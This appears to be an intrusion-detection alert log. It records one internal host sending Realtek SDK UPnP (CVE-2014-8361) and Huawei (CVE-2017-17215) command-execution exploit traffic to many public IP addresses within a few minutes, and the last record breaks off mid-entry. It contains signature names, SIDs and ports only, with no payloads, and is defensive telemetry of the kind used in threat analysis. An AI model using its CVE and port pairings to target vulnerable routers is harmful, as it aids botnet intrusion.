ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.30.132.8

Timestamp:	07/20/24-23:01:02.117244
SID:	2027339
Source Port:	35798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.210.234.252

Timestamp:	07/20/24-23:01:44.520226
SID:	2025132
Source Port:	52308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 46.176.142.26

Timestamp:	07/20/24-23:01:03.199235
SID:	2025132
Source Port:	49528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.79.73.48

Timestamp:	07/20/24-23:01:24.889164
SID:	2835222
Source Port:	47164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.18.63.141

Timestamp:	07/20/24-23:01:08.572790
SID:	2027339
Source Port:	49150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.20.27.216

Timestamp:	07/20/24-23:00:59.163619
SID:	2829579
Source Port:	45012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.81.102.220

Timestamp:	07/20/24-23:01:43.206220
SID:	2025132
Source Port:	46404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.210.140.181

Timestamp:	07/20/24-23:01:53.484243
SID:	2027339
Source Port:	48602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.76.49.30

Timestamp:	07/20/24-23:01:04.430069
SID:	2027339
Source Port:	59360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.163.145.253

Timestamp:	07/20/24-23:01:42.799973
SID:	2025132
Source Port:	41598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 31.0.108.140

Timestamp:	07/20/24-23:01:44.052569
SID:	2025132
Source Port:	34074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.199.208.242

Timestamp:	07/20/24-23:01:40.301143
SID:	2829579
Source Port:	53018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 152.44.195.237

Timestamp:	07/20/24-23:01:41.258056
SID:	2025132
Source Port:	44682
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.241.192.98

Timestamp:	07/20/24-23:01:45.887574
SID:	2025132
Source Port:	53000
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.145.135.61

Timestamp:	07/20/24-23:01:52.883801
SID:	2027339
Source Port:	55112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.31.108.66

Timestamp:	07/20/24-23:01:57.560388
SID:	2027339
Source Port:	50314
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 24.238.134.176

Timestamp:	07/20/24-23:01:31.325694
SID:	2831300
Source Port:	40536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.220.8.58

Timestamp:	07/20/24-23:01:45.967403
SID:	2027339
Source Port:	46110
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 122.124.32.89

Timestamp:	07/20/24-23:01:41.604763
SID:	2831300
Source Port:	58346
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 164.216.180.24

Timestamp:	07/20/24-23:01:42.033190
SID:	2831300
Source Port:	48642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.211.204.245

Timestamp:	07/20/24-23:01:31.326982
SID:	2831300
Source Port:	60500
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.255.148.186

Timestamp:	07/20/24-23:01:31.999991
SID:	2835222
Source Port:	43104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.184.40.220

Timestamp:	07/20/24-23:01:08.607816
SID:	2027339
Source Port:	33276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.230.221.168

Timestamp:	07/20/24-23:01:26.023836
SID:	2027339
Source Port:	43992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.192.243.189

Timestamp:	07/20/24-23:01:52.006905
SID:	2027339
Source Port:	38194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.25.159.41

Timestamp:	07/20/24-23:01:02.127340
SID:	2829579
Source Port:	37594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.77.106.70

Timestamp:	07/20/24-23:01:07.054782
SID:	2835222
Source Port:	45144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 167.255.64.127

Timestamp:	07/20/24-23:01:11.631549
SID:	2835222
Source Port:	37214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.81.102.7

Timestamp:	07/20/24-23:01:31.327808
SID:	2831300
Source Port:	46250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.230.247.23

Timestamp:	07/20/24-23:01:52.826575
SID:	2027339
Source Port:	42546
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.2.226.98

Timestamp:	07/20/24-23:01:43.123752
SID:	2027339
Source Port:	37998
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.202.134.116

Timestamp:	07/20/24-23:01:46.150064
SID:	2831300
Source Port:	34880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.31.121.159

Timestamp:	07/20/24-23:01:46.556921
SID:	2027339
Source Port:	50918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.131.141.174

Timestamp:	07/20/24-23:01:24.732773
SID:	2027339
Source Port:	53080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.51.209.65

Timestamp:	07/20/24-23:01:44.881853
SID:	2027339
Source Port:	41344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.150.161.105

Timestamp:	07/20/24-23:01:45.713934
SID:	2831300
Source Port:	37610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.107.44.177

Timestamp:	07/20/24-23:01:43.260197
SID:	2027339
Source Port:	42514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.116.102.178

Timestamp:	07/20/24-23:01:06.989167
SID:	2835222
Source Port:	53032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.242.111.156

Timestamp:	07/20/24-23:01:41.722890
SID:	2027339
Source Port:	38548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.21.67.49

Timestamp:	07/20/24-23:00:57.222009
SID:	2835222
Source Port:	36512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.103.95.129

Timestamp:	07/20/24-23:02:03.068984
SID:	2027339
Source Port:	52552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.116.164.169

Timestamp:	07/20/24-23:01:42.719940
SID:	2831300
Source Port:	37788
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.102.241.51

Timestamp:	07/20/24-23:01:42.854322
SID:	2025132
Source Port:	46292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.179.229.220

Timestamp:	07/20/24-23:01:50.176893
SID:	2025132
Source Port:	41980
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.190.18.125

Timestamp:	07/20/24-23:01:31.976649
SID:	2829579
Source Port:	40180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.151.112.79

Timestamp:	07/20/24-23:01:46.143923
SID:	2025132
Source Port:	44316
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 92.131.8.148

Timestamp:	07/20/24-23:02:14.686790
SID:	2025132
Source Port:	35484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 200.107.251.119

Timestamp:	07/20/24-23:01:42.786028
SID:	2831300
Source Port:	56518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.19.178.39

Timestamp:	07/20/24-23:01:24.867858
SID:	2829579
Source Port:	42160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.9.135.122

Timestamp:	07/20/24-23:01:49.277117
SID:	2027339
Source Port:	58846
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.233.41.28

Timestamp:	07/20/24-23:01:04.595913
SID:	2027339
Source Port:	52276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.124.7.215

Timestamp:	07/20/24-23:02:53.715694
SID:	2027339
Source Port:	33080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.38.115.93

Timestamp:	07/20/24-23:01:50.901722
SID:	2027339
Source Port:	32886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.78.251.102

Timestamp:	07/20/24-23:01:06.990165
SID:	2829579
Source Port:	44634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 182.240.112.154

Timestamp:	07/20/24-23:01:47.248064
SID:	2025132
Source Port:	51126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.170.123.220

Timestamp:	07/20/24-23:01:43.965873
SID:	2027339
Source Port:	51534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.18.107.141

Timestamp:	07/20/24-23:02:35.459810
SID:	2027339
Source Port:	34686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.206.146.120

Timestamp:	07/20/24-23:01:47.047497
SID:	2027339
Source Port:	32834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.45.122.255

Timestamp:	07/20/24-23:01:50.418920
SID:	2025132
Source Port:	56400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.19.208.214

Timestamp:	07/20/24-23:01:34.044223
SID:	2835222
Source Port:	50138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.183.167.212

Timestamp:	07/20/24-23:01:08.679677
SID:	2831300
Source Port:	56988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.216.69.165

Timestamp:	07/20/24-23:01:42.580745
SID:	2027339
Source Port:	42542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.207.187.133

Timestamp:	07/20/24-23:01:02.140869
SID:	2027339
Source Port:	59542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.195.103.231

Timestamp:	07/20/24-23:01:13.972649
SID:	2027339
Source Port:	47400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.110.172.241

Timestamp:	07/20/24-23:01:42.709583
SID:	2027339
Source Port:	48606
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 102.251.132.142

Timestamp:	07/20/24-23:02:21.004725
SID:	2027339
Source Port:	58336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.244.254.171

Timestamp:	07/20/24-23:01:34.045143
SID:	2829579
Source Port:	47788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 134.205.144.234

Timestamp:	07/20/24-23:01:34.053061
SID:	2835222
Source Port:	36910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 89.25.147.2

Timestamp:	07/20/24-23:01:53.199976
SID:	2025132
Source Port:	48278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.106.198.203

Timestamp:	07/20/24-23:02:21.004725
SID:	2831300
Source Port:	56508
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 102.164.167.66

Timestamp:	07/20/24-23:01:34.046616
SID:	2835222
Source Port:	60776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.104.187.148

Timestamp:	07/20/24-23:01:41.637960
SID:	2027339
Source Port:	55360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.207.166.74

Timestamp:	07/20/24-23:01:40.285038
SID:	2829579
Source Port:	38206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.243.101.70

Timestamp:	07/20/24-23:01:55.366575
SID:	2831300
Source Port:	33730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.190.167.168

Timestamp:	07/20/24-23:01:43.173843
SID:	2025132
Source Port:	48376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.85.168.68

Timestamp:	07/20/24-23:01:44.670285
SID:	2831300
Source Port:	55610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.224.33.210

Timestamp:	07/20/24-23:01:41.286911
SID:	2027339
Source Port:	33388
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.78.48.17

Timestamp:	07/20/24-23:01:42.612377
SID:	2027339
Source Port:	60004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.121.119.159

Timestamp:	07/20/24-23:02:02.671155
SID:	2027339
Source Port:	49994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 160.195.41.193

Timestamp:	07/20/24-23:01:42.869520
SID:	2025132
Source Port:	58910
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.167.250.116

Timestamp:	07/20/24-23:01:43.260197
SID:	2027339
Source Port:	45464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 114.205.87.78

Timestamp:	07/20/24-23:01:20.150638
SID:	2835222
Source Port:	56188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.17.76.254

Timestamp:	07/20/24-23:02:00.413915
SID:	2831300
Source Port:	38334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.153.61.251

Timestamp:	07/20/24-23:01:53.353271
SID:	2027339
Source Port:	59452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.232.50.163

Timestamp:	07/20/24-23:01:51.288562
SID:	2027339
Source Port:	38350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.183.64.132

Timestamp:	07/20/24-23:01:40.321300
SID:	2829579
Source Port:	60714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.75.193.125

Timestamp:	07/20/24-23:01:03.072080
SID:	2025132
Source Port:	56664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.135.155.164

Timestamp:	07/20/24-23:01:45.063335
SID:	2831300
Source Port:	51140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.7.66.220

Timestamp:	07/20/24-23:01:42.869521
SID:	2831300
Source Port:	56828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.35.34.220

Timestamp:	07/20/24-23:01:41.360712
SID:	2027339
Source Port:	37410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.188.204.57

Timestamp:	07/20/24-23:01:20.175900
SID:	2829579
Source Port:	36122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.100.122.131

Timestamp:	07/20/24-23:01:45.075399
SID:	2027339
Source Port:	35962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 74.245.76.95

Timestamp:	07/20/24-23:01:59.092655
SID:	2025132
Source Port:	53282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.95.218.159

Timestamp:	07/20/24-23:01:44.082683
SID:	2027339
Source Port:	49892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.147.225.215

Timestamp:	07/20/24-23:01:45.078337
SID:	2027339
Source Port:	40646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 137.66.212.197

Timestamp:	07/20/24-23:01:48.181097
SID:	2831300
Source Port:	34490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.198.233.204

Timestamp:	07/20/24-23:01:08.584506
SID:	2027339
Source Port:	57902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.115.197.13

Timestamp:	07/20/24-23:01:25.535708
SID:	2027339
Source Port:	41514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 220.248.218.41

Timestamp:	07/20/24-23:01:40.290003
